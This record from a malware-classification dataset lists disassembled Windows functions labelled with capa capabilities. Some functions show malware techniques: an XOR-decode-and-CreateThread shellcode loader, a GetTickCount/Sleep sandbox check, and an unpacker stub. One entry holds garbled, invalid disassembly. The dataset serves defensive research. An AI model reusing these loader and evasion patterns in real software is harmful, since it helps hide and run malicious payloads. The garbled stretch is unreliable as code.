joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006ee80
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140069578
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140069578
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14006efd0
cmp rax, 0xffffffffffffffff
je 0x14006efd0
xor edi, edi
test rbp, rbp
jle 0x14006ef7b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140055ee8
mov rbx, rax
test rax, rax
jne 0x14006ef08
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14006ef71
mov edx, 0x8000
mov ecx, r14d
call fcn.14004c2f4
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14005981c
cmp eax, 0xffffffff
je 0x14006ef51
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14006ef18
mov edx, r15d
mov ecx, r14d
call fcn.14004c2f4
jmp 0x14006ef71
cmp byte [rsi + 0x38], dil
je 0x14006ef68
cmp dword [rsi + 0x34], 5
jne 0x14006ef68
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14006ef71
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14005203c
jmp 0x14006efe4
jns 0x14006efe4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140069578
cmp rax, 0xffffffffffffffff
jne 0x14006ef9c
cmp byte [rsi + 0x30], dil
je 0x14006efe4
mov edi, dword [rsi + 0x2c]
jmp 0x14006efe4
mov ecx, r14d
call fcn.14005fd7c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14006efe4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14006efe4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14006efdd
mov eax, dword [rsi + 0x2c]
jmp 0x14006efe2
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140069578
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x401563
Capabilities:
Create thread

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
movsxd r12, edx
mov rdi, rcx
xor edx, edx
mov ecx, 0x40001
mov rbp, r8
xor r8d, r8d
mov rbx, r12
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, r12
mov qword [rsp + 0x38], rax
call sub.msvcrt.dll_malloc
mov r9, qword [rsp + 0x38]
mov rsi, rax
xor eax, eax
cmp ebx, eax
jle 0x4015c7
mov rdx, rax
and edx, 7
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [rsi + rax], dl
inc rax
jmp 0x4015ae
mov rdi, r9
mov rcx, r12
lea r8, [0x00401560]
xor edx, edx
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x401600
Capabilities:
Check for time delay via gettickcount
Read file on windows

Disassembly:
push r13
push r12
push rbx
add rsp, 0xffffffffffffff80
mov r13, rcx
mov ecx, 0x800
call sub.msvcrt.dll_malloc
mov r8d, 0x800
mov rcx, r13
mov r12, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, section..rdata
mov rcx, r12
call sub.msvcrt.dll_fopen
mov r12, qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r13, rax
call r12
mov ecx, 0x28a
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call r12
sub eax, 0x258
sub eax, ebx
cmp eax, 0x12b
ja 0x401764
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r9d, 0x2a
mov r8d, 0x17
mov edx, 0x402
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x401764
cmp dword [rsp + 0x58], 0x402
jne 0x401764
cmp qword [rsp + 0x60], 0x17
jne 0x401764
cmp qword [rsp + 0x68], 0x2a
jne 0x401764
movsxd rax, dword [0x00403028]
lea rdx, [rsp + 0x48]
mov rcx, r13
mov qword [rsp + 0x48], rax
call sub.msvcrt.dll_fsetpos
movsxd r8, dword [0x00403034]
mov rcx, r8
mov qword [rsp + 0x38], r8
call sub.msvcrt.dll_malloc
mov r8, qword [rsp + 0x38]
mov edx, 1
mov r9, r13
mov rcx, rax
mov r12, rax
call sub.msvcrt.dll_fread
mov rcx, r13
mov rbx, rax
call sub.msvcrt.dll_fclose
mov edx, dword [0x00403034]
movsxd rax, ebx
lea rcx, [0x00403060]
cmp edx, eax
jle 0x401744
mov r8b, byte [rcx + rax]
mov byte [r12 + rax], r8b
inc rax
jmp 0x401733
mov rcx, r12
lea r8, [0x00403038]
call fcn.00401563
mov rcx, r12
sub rsp, 0xffffffffffffff80
pop rbx
pop r12
pop r13
jmp sub.msvcrt.dll_free
sub rsp, 0xffffffffffffff80
pop rbx
pop r12
pop r13
ret
Function at 0x401c20
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402db0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402db0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x401c90
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00449614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x401e38
mov rax, qword [0x00449618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x401cdc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401d67
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x401cc0
mov rcx, r12
call fcn.004029f0
mov rbp, rax
test rax, rax
je 0x401e72
mov rax, qword [0x00449618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.00402b20
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00449618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401e81
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401d60
sub eax, 4
and eax, 0xfffffffb
jne 0x401df0
add dword [0x00449614], 1
cmp ebx, 8
jae 0x401d98
test bl, 4
jne 0x401e40
test ebx, ebx
je 0x401d89
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x401e60
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x401d89
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x401dca
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00449618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401d60
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401c20
nop dword [rax]
xor edi, edi
jmp 0x401ce7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x401d89
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x401d89
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00401c20
mov rax, qword [0x00449618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.00401c20
nop
nop dword [rax]
Function at 0x402660
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00449900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004498e0]
test rbx, rbx
je 0x4026b4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x4026ab
test r12, r12
je 0x4026ab
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402690
lea rcx, [0x00449900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x4029f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x00446390]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x402a69
mov rcx, r10
call fcn.004028c0
test eax, eax
je 0x402a69
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x402a66
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x402a5d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x402a69
add r8, 0x28
cmp r8, r9
jne 0x402a48
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0xe23730
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xe2373d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xe2374d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xe23735
lea eax, [rcx + 1]
jmp 0xe2375b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xe2376e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xe23754
sub eax, 3
jb 0xe2378e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xe237dd
sar eax, 1
movsxd rbp, eax
jb 0xe237c4
jmp 0xe2379c
add ebx, ebx
jne 0xe2379a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xe237c4
inc ecx
add ebx, ebx
jne 0xe237aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xe237c4
call r11
adc ecx, ecx
add ebx, ebx
jne 0xe237bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xe237ac
add ecx, 2
jmp 0xe237c9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00e236f2
jmp 0xe2373d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xa18000]
mov eax, dword [rdi]
or eax, eax
je 0xe23839
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xa23000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xe237e9
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xe23833
mov qword [rbx], rax
add rbx, 8
jmp 0xe23809
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xe2387d
cmp al, 0xef
ja 0xe23865
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xe23845
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0xe23854
mov eax, dword [rdi]
add rdi, 4
jmp 0xe23854
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xe238d1
sub rsp, 0xffffffffffffff80
jmp 0x46d2e0
Function at 0x140004e60
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140013760]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jns 0x140004ecb
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x140016a40]
mov word [rsp + 0x58], di
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
jmp 0x140004fb1
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.14000c760
nop
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rcx, [rsp + 0x28]
call fcn.14000c920
nop
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.14000b330
mov dword [rsp + 0x20], 2
lea rdx, [rsp + 0x28]
mov rcx, rbx
call fcn.14000c4b0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 7
jbe 0x140004f59
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004f54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fd90
movdqa xmm0, xmmword [0x140016a40]
movdqu xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x28], di
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140004fb1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fd90
mov rax, rbx
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000fd70
mov rbx, qword [rsp + 0x98]
add rsp, 0x80
pop rdi
ret
Function at 0x140005990
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x450
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rsp + 0x440], rax
lea rdx, [rsp + 0x40]
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea rbx, [rsp + 0x40]
cmp byte [rsp + 0x40], 0
je 0x140005a71
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400059f0
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14000da10
nop
lea rcx, [rsp + 0x20]
call fcn.140004ff0
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rbx + rax], 0
jne 0x140005a20
inc rbx
add rbx, rax
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140005a68
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a92
call fcn.14000fd90
cmp byte [rbx], 0
jne 0x1400059d1
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.14000fd70
mov rbx, qword [rsp + 0x460]
add rsp, 0x450
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400062b0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x450
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rdi, rcx
lea rdx, [rsp + 0x40]
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea rbx, [rsp + 0x40]
cmp byte [rsp + 0x40], 0
je 0x1400063c9
xor esi, esi
nop dword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140006320
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14000da10
nop
mov rdx, qword [rdi + 8]
cmp rdx, qword [rdi + 0x10]
je 0x140006364
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rdx + 0x10], xmm1
mov edx, 0xf
mov byte [rsp + 0x20], 0
add qword [rdi + 8], 0x20
jmp 0x140006376
lea r8, [rsp + 0x20]
mov rcx, rdi
call fcn.14000f080
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400063aa
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400063ee
call fcn.14000fd90
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x1400063b1
inc rbx
add rbx, rax
cmp byte [rbx], 0
jne 0x140006300
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.14000fd70
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140009be0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, 0xffff
movzx edi, dx
mov rbx, rcx
cmp si, dx
jne 0x140009c11
xor eax, eax
jmp 0x140009d5b
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x140009c4e
mov r9, qword [rcx + 0x58]
movsxd r10, dword [r9]
lea rdx, [r8 + r10*2]
cmp r8, rdx
jae 0x140009c4e
lea ecx, [r10 - 1]
movzx eax, di
mov dword [r9], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], di
jmp 0x140009d5b
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xb0], rbp
je 0x140009d50
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x140009c95
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140009ca3
movzx ecx, di
jmp 0x140009cf7
lea rax, [rsp + 0x40]
mov word [rsp + 0x50], di
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x52]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140009d10
sub eax, 1
je 0x140009d10
cmp eax, 2
jne 0x140009d50
movzx ecx, word [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
cmp ax, si
cmove di, si
movzx eax, di
jmp 0x140009d53
mov rbp, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbp, rax
je 0x140009d3e
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbp
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbp, rax
jne 0x140009d50
lea rax, [rsp + 0x50]
mov byte [rbx + 0x72], 1
cmp qword [rsp + 0x48], rax
cmovne si, di
movzx eax, si
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000fd70
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x14000a370
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x14000a391
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000a3be
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000a3c0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000a419
test ecx, ecx
jle 0x14000a3f9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14000a419
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000a419
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
lea edi, [rbp - 0xb84]
call 0x140021115
mov dword [rsp], 0x417614
call 0x14002e846
test eax, eax
jne 0x14002ea13
mov eax, ebx
push rax
push 0x3f
pop rax
lea edi, [rbp - 0xb04]
call 0x140021115
mov dword [rsp], 0x417634
and al, 0x34
jbe 0x14002ea69
add al, ch
sbb dh, bh
invalid
invalid
test eax, eax
jne 0x14002ea34
mov eax, ebx
push rax
push 0x3f
pop rax
lea edi, [rbp - 0xa84]
call 0x140021115
mov dword [rsp], 0x417644
and al, 0x44
jbe 0x14002ea8a
add al, ch
idiv ebp
invalid
invalid
test eax, eax
jne str.Pj_X
mov eax, ebx
push rax
push 0x3f
pop rax
lea edi, [rbp - 0xa04]
call 0x140021115
mov dword [rsp], 0x417654
and al, 0x54
jbe 0x14002eaab
add al, ch
invalid
std
invalid
invalid
test eax, eax
jne 0x14002ea76
mov eax, ebx
push rax
push 0x7f
pop rax
lea edi, [rbp - 0x984]
call 0x140021115
cmp word [rbp - 0xf84], 0
pop rcx
jne 0x14002eab0
push 0x417674
call 0x14002e846
test eax, eax
jne 0x14002eaa0
mov eax, ebx
push rax
push 0x7f
pop rax
lea edi, [rbp - 0xf84]
call 0x140021115
pop rcx
cmp word [rbp - 0x1084], 0
jne 0x14002eada
push 0x41768c
call 0x14002e846
test eax, eax
jne 0x14002eaca
mov eax, ebx
push rax
push 0x7f
pop rax
lea edi, [rbp - 0x1084]
call 0x140021115
pop rcx
push 0x41769c
call 0x14002e846
test eax, eax
je 0x14002eaf8
lea esi, [rbp - 0x1098]
mov ebx, eax
call 0x140021540
mov esi, dword [rbp + 8]
push 0x4176a8
call 0x14002e846
test eax, eax
je 0x14002eb16
lea esi, [rbp - 0x1092]
mov ebx, eax
call 0x140021540
mov esi, dword [rbp + 8]
add esi, 0x24
push rsi
mov eax, 0x104
lea edi, [rbp - 0x884]
call 0x140021115
mov esi, dword [rbp - 4]
lea eax, [rsi + 0x95c]
push rax
mov eax, 0x3ff
lea edi, [rbp - 0x804]
call 0x140021115
mov eax, dword [rsi]
pop rcx
pop rcx
lea ecx, [rbp - 0x10b8]
push rcx
mov ecx, esi
call qword [rax + 0x18]
pop rdi
pop rbx
xor eax, eax
pop rsi
leave
ret 4
Function at 0x14000a440
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14000a462
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x14000a471
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000a494
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000a496
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000a4d2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
